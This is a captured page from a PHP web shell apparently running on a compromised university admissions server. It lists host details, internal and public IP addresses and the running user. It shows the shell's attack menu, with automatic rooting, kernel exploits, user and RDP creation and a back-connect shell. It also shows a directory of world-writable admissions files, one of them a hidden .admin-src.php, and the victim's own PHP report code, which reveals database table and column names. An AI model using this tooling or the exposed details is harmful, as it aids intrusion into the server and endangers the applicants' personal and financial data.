Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.117.10.207
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
pgadm /
admin-src /
[ HOME SHELL ]
Name
Size
Permission
Action
.admin-src.php
3.61
KB
-rw-r--r--
AdmissionListReportExcel.php
13.85
KB
-rwxrwxrwx
ApplicationFeeSumExcel1.php
7.43
KB
-rwxrwxrwx
ApplicationFeeSummary.php
10.14
KB
-rwxrwxrwx
ApplicationFeeSummaryExcel.php
2.93
KB
-rwxrwxrwx
ApplicationReport.php
10.32
KB
-rwxrwxrwx
Applicationfeereport.php
8.72
KB
-rwxrwxrwx
Collegewise_SeatAllotedList.ph...
11.13
KB
-rwxrwxrwx
Degreewise_Adm_Fee_Collected.p...
7.66
KB
-rwxrwxrwx
Degreewise_SeatAllotedList.php
12.09
KB
-rwxrwxrwx
Degreewise_SeatAllotedList_all...
11.18
KB
-rwxrwxrwx
Degreewise_SeatAllotedList_cre...
19.46
KB
-rwxrwxrwx
Degreewise_SeatAllotedList_cre...
17.58
KB
-rwxrwxrwx
Degreewise_SeatAllotedList_cre...
17.83
KB
-rwxrwxrwx
Degreewise_SeatAllotedList_fin...
17.11
KB
-rwxrwxrwx
PrintDocumentVerification.php
28.13
KB
-rwxrwxrwx
SeatMatrixReport.php
24.02
KB
-rwxrwxrwx
admList.php
1.11
KB
-rwxrwxrwx
admconfirmation.php
4.43
KB
-rwxrwxrwx
admissionFeeSummaryReportExcel...
9.64
KB
-rwxrwxrwx
admissionfeedetails.php
1.61
KB
-rw-rw-r--
admissionfeereport.php
11.59
KB
-rw-rw-r--
admissionstatusreport.php
12.62
KB
-rwxrwxrwx
admorder_ru.php
4.4
KB
-rw-r--r--
applicationFormReportBank.php
11.91
KB
-rw-rw-r--
applicationview.php
4.11
KB
-rwxrwxrwx
changepasswordadmin.php
1.12
KB
-rwxrwxrwx
collegedegree.php
1.92
KB
-rwxrwxrwx
collegedetails.php
2.49
KB
-rwxrwxrwx
create-user.php
4.66
KB
-rwxrwxrwx
documentverification.php
15.69
KB
-rwxrwxrwx
dudseatallot.php
6.11
KB
-rw-rw-r--
getnumword.php
9.1
KB
-rw-rw-r--
loadadmhostelfeedetails.php
2.16
KB
-rw-r--r--
loadhostelfeedetails.php
4.6
KB
-rw-r--r--
presealallot.php
7.58
KB
-rw-rw-r--
provisionsellist.php
1.58
KB
-rw-rw-r--
provisionsellistReport.php
13.78
KB
-rw-rw-r--
provisionsellistReportDownload...
14.94
KB
-rw-rw-r--
report_merit_list.php
6.82
KB
-rwxrwxrwx
rostertable.php
490
B
-rwxrwxrwx
saveApplication.php
19.13
KB
-rwxrwxrwx
savevacantseats.php
2.57
KB
-rw-r--r--
seat_alloted_seatmatrix.php
11.34
KB
-rwxrwxrwx
seatmatrix.php
8.57
KB
-rwxrwxrwx
signin.php
846
B
-rwxrwxrwx
viewpresealallot2.php
8.17
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ApplicationFeeSumExcel1.php
<?php $main_src = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - 7); error_reporting(E_ALL); ini_set('display_errors', TRUE); ini_set('display_startup_errors', TRUE); ini_set('max_execution_time', '300'); date_default_timezone_set('GMT+5:30'); // PHPExcel_Shared_Font::setAutoSizeMethod(PHPExcel_Shared_Font::AUTOSIZE_METHOD_EXACT); if (PHP_SAPI == 'cli') die('This example should only be run from a Web Browser'); /** Include PHPExcel */ $pdf_writer_class = '/var/www/html/univadmin/PHPExcel/Classes/PHPExcel.php'; require_once($pdf_writer_class); function getheaders($objPHPExcel, $fileName) { //To Fit To Page while printing $objPHPExcel->getActiveSheet()->getPageSetup()->setRowsToRepeatAtTopByStartAndEnd(1); $objPHPExcel->getActiveSheet()->getPageSetup()->setFitToWidth(1); $objPHPExcel->getActiveSheet()->getPageSetup()->setFitToHeight(0); $objPHPExcel->getActiveSheet()->getPageSetup()->setHorizontalCentered(true); $objPHPExcel->getActiveSheet()->getPageSetup()->setVerticalCentered(false); // Redirect output to a client’s web browser (Excel5) header('Content-Type: application/vnd.ms-excel'); header('Content-Disposition: attachment;filename="' . $fileName . '.csv"'); header('Cache-Control: max-age=0'); // If you're serving to IE 9, then the following may be needed header('Cache-Control: max-age=1'); // If you're serving to IE over SSL, then the following may be needed header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified header('Cache-Control: cache, must-revalidate'); // HTTP/1.1 header('Pragma: public'); // HTTP/1.0 ob_clean(); $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5'); $objWriter->save('php://output'); } function ApplicationFeeSumExcel1($aobj_context) { $univcode = $aobj_context->mobj_data["univcode"]; $fdept = $aobj_context->mobj_data["fdept"]; $dtfrom = $aobj_context->mobj_data["dtfrom"]; $dtto = $aobj_context->mobj_data["dtto"]; // var_dump($fdept); $query = "SELECT a.fcollcode,c.fshortname, d.fdegree, d.fdescpn, COUNT(a.fappno) AS fcnt, SUM(a.fadmfee) AS fee FROM entseatallot a, entcoll c, entdeg d, entcolldeg x WHERE a.fdegree = d.fdegree AND a.fcollcode = c.fcollcode AND c.fcollcode = x.fcollcode AND d.fdegree = x.fdegree AND a.fpaymentstatus = 'success' AND IFNULL(a.fcancel,'') <> 'T' GROUP BY a.fcollcode, d.fdegree ORDER BY a.fcollcode, d.forder limit 1"; $result = $aobj_context->mobj_db->GetAll($query); // var_dump($result); // die(); // var_dump($result); $objPHPExcel = new PHPExcel(); $fileName = 'Application Fee Summary'; $objPHPExcel->getProperties()->setCreator("Uniclare") ->setLastModifiedBy("Me")->setTitle("My Excel Sheet") ->setSubject("My Excel Sheet")->setDescription("Excel Sheet") ->setKeywords("Excel Sheet")->setCategory("Me"); // Set active sheet index to the first sheet, so Excel opens this as the first sheet $objPHPExcel->setActiveSheetIndex(0); // Add column headers and make them bold $styleArray = array( 'borders' => array( 'allborders' => array( 'style' => PHPExcel_Style_Border::BORDER_THIN, 'color' => array('argb' => '000000'), ), ), ); $count = ""; $j = 4; $objPHPExcel->getActiveSheet()->getStyle('1:1')->getFont()->setBold(true); $objPHPExcel->getActiveSheet()->getStyle('1:1')->getFont()->setSize(12); $objPHPExcel->getActiveSheet()->freezePane('A1'); $objPHPExcel->getActiveSheet()->setCellValue('A1', 'Sl No') ->setCellValue('B1', 'College Code') ->setCellValue('C1', 'College Name') ->setCellValue('D1', 'Degree Code') ->setCellValue('E1', 'Degree Name') ->setCellValue('F1', 'No of App') ->setCellValue('G1', 'Total Fee'); $objPHPExcel->getActiveSheet()->getStyle('A1:G1')->applyFromArray($styleArray); // $objPHPExcel->getActiveSheet()->getColumnDimension('I1')->setAutoSize(true); $objPHPExcel->getActiveSheet()->getRowDimension('1')->setRowHeight(29); $objPHPExcel->getActiveSheet()->getStyle('A1:G1')->getAlignment()->setWrapText(true); $objPHPExcel->getActiveSheet()->getStyle('A1:G1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle('A1:G1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER); //$count = rtrim($count, ", "); // var_dump($count); // die(); // var_dump($result); // die(); $j = 2; $slNo = 1; // foreach ($result as $key => $value) { // $objPHPExcel->getActiveSheet()->setCellValue('A' . $j, $slNo) // ->getColumnDimension('A'. $j)->setwidth(5); // $objPHPExcel->getActiveSheet()->setCellValue('B' . $j, $value['fcollcode']) // ->getColumnDimension('B'. $j)->setwidth(10.43); // $objPHPExcel->getActiveSheet()->setCellValue('C' . $j, $value['fshortname']) // ->getColumnDimension('C'. $j)->setwidth(50); // $objPHPExcel->getActiveSheet()->setCellValue('D' . $j, $value['fdegree']) // ->getColumnDimension('D'. $j)->setwidth(50); // $objPHPExcel->getActiveSheet()->setCellValue('E' . $j, $value['fdescpn']) // ->getColumnDimension('E'. $j)->setwidth(50); // $objPHPExcel->getActiveSheet()->setCellValue('F' . $j, $value['fcnt']) // ->getColumnDimension('F'. $j)->setwidth(50); // $objPHPExcel->getActiveSheet()->setCellValue('G' . $j, $value['fee']) // ->getColumnDimension('G'. $j)->setwidth(50); // $j++; // $slNo++; // } foreach ($result as $key => $value) { $objPHPExcel->getActiveSheet()->setCellValue('A2', $slNo) ->getColumnDimension('A')->setwidth(5); $objPHPExcel->getActiveSheet()->setCellValue('B2', $value['fcollcode']) ->getColumnDimension('B')->setwidth(10.43); $objPHPExcel->getActiveSheet()->setCellValue('C2', $value['fshortname']) ->getColumnDimension('C')->setwidth(50); $objPHPExcel->getActiveSheet()->setCellValue('D2', $value['fdegree']) ->getColumnDimension('D')->setwidth(50); $objPHPExcel->getActiveSheet()->setCellValue('E2', $value['fdescpn']) ->getColumnDimension('E')->setwidth(50); $objPHPExcel->getActiveSheet()->setCellValue('F2', $value['fcnt']) ->getColumnDimension('F')->setwidth(50); $objPHPExcel->getActiveSheet()->setCellValue('G2', $value['fee']) ->getColumnDimension('G')->setwidth(50); $j++; $slNo++; } //$objPHPExcel->getActiveSheet()->getColumnDimension('D')->setwidth(12); $objPHPExcel->getActiveSheet()->setTitle($fileName); $objPHPExcel->getActiveSheet()->getPageSetup() ->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE); // $objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('&RPage &P of &N'); // $objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddHeader('&C&H&"-,Bold"&16' . $aobj_context->FUNIVNAME . "\n" . '&12' . $rtype); // $objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddHeader('&C&H' . $deggrp); // $objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('&RPage &P of &N'); getheaders($objPHPExcel, $fileName); }
Close